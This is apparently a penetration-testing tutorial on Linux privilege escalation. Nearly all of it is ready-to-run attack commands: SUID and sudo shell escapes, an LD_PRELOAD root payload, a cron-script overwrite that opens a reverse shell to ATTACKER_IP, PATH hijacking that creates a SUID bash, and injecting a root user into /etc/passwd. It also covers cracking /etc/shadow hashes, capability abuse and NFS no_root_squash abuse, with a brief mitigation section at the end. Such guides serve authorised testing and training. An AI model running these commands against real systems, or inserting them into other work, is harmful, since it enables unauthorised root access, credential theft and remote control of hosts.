Linux Privilege Escalation: SUID, Sudo, Cron, and Writable Files Explained

Linux privilege escalation moves a low-privileged shell to root. Enumeration tools find the paths; understanding the techniques exploits them. This guide covers the most reliable Linux privilege escalation vectors used in real penetration tests and CTF challenges.

Initial Enumeration

id && whoami
sudo -l
uname -a
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
cat /etc/crontab
getcap -r / 2>/dev/null                   # Capabilities

SUID Binary Exploitation

SUID binaries execute with the file owner’s permissions. If a root-owned binary has the SUID bit set and can spawn a shell, escalation is straightforward. Always cross-reference findings with GTFOBins.

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# GTFOBins examples:
# /usr/bin/find
/usr/bin/find . -exec /bin/sh -p ; -quit

# /usr/bin/vim
vim -c ':!/bin/sh'

# /usr/bin/python3
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'

Sudo Misconfigurations

Run sudo -l immediately after gaining a shell. Any permitted binary may have a GTFOBins shell escape.

# NOPASSWD ALL - trivial escalation
sudo /bin/bash

# sudo vim
sudo vim -c ':!/bin/bash'

# sudo less
sudo less /etc/hosts
# Type: !sh

# LD_PRELOAD preserved in sudoers (env_keep+=LD_PRELOAD)
cat << 'EOF' > /tmp/evil.c
#include <stdlib.h>
void _init() { setuid(0); system("/bin/bash"); }
EOF
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so find

Cron Job Abuse

Cron jobs running as root that call world-writable scripts are a reliable escalation path.

cat /etc/crontab
ls -la /etc/cron.d/

# If /opt/cleanup.sh is world-writable and runs as root:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1' > /opt/cleanup.sh
chmod +x /opt/cleanup.sh
# Wait for cron execution, catch on: nc -lvnp 9001

PATH Hijacking

When privileged scripts call binaries using relative paths, placing a malicious binary with the same name earlier in PATH hijacks execution.

# Malicious 'service' binary in /tmp
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
# Trigger the privileged script, then:
/tmp/rootbash -p

Weak File Permissions

# Writable /etc/passwd
openssl passwd -1 -salt xyz hacked123
echo 'hacker:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

# Readable /etc/shadow
cat /etc/shadow   # copy root hash
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt

Linux Capabilities

getcap -r / 2>/dev/null
# Example: /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

NFS No_root_squash

# Target: check /etc/exports for no_root_squash
# Attack machine (as root):
sudo mount -t nfs TARGET:/shared /mnt/nfs
sudo cp /bin/bash /mnt/nfs/rootbash
sudo chmod +s /mnt/nfs/rootbash
# Target: /shared/rootbash -p

Mitigation Recommendations

Audit and remove unnecessary SUID bits; apply least privilege in sudoers with explicit command paths; use absolute paths in all cron scripts; restrict cron script permissions to 700 root-owned; monitor /etc/passwd and /etc/shadow permissions; run Lynis for automated hardening assessment. Use auditd rules to alert on setuid syscall calls from non-root processes.

Conclusion

Systematic enumeration followed by targeted exploitation is the foundation of effective Linux privilege escalation. Work through the checklist in order — sudo, SUID, cron, capabilities, writable files — before considering kernel exploits. Document each finding with proof-of-concept commands ready for your pentest report.

Frequently Asked Questions

What is the first command to run for Linux privilege escalation?

sudo -l. If the current user has any sudo permissions, check GTFOBins immediately. This single command resolves escalation on a significant percentage of CTF and real-world misconfigurations.

What is the -p flag in bash used for?

The -p (privileged) flag prevents bash from dropping the SUID effective UID when invoked as a SUID binary. Without it, modern bash will reset to the calling user’s UID, defeating the escalation.

Are kernel exploits reliable for privilege escalation?

They are a last resort. Kernel exploits risk crashing the target system and are detectable by most EDR solutions. Exhaust all configuration-based paths first. In real engagements, discuss kernel exploit risks explicitly with the client before using them.

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top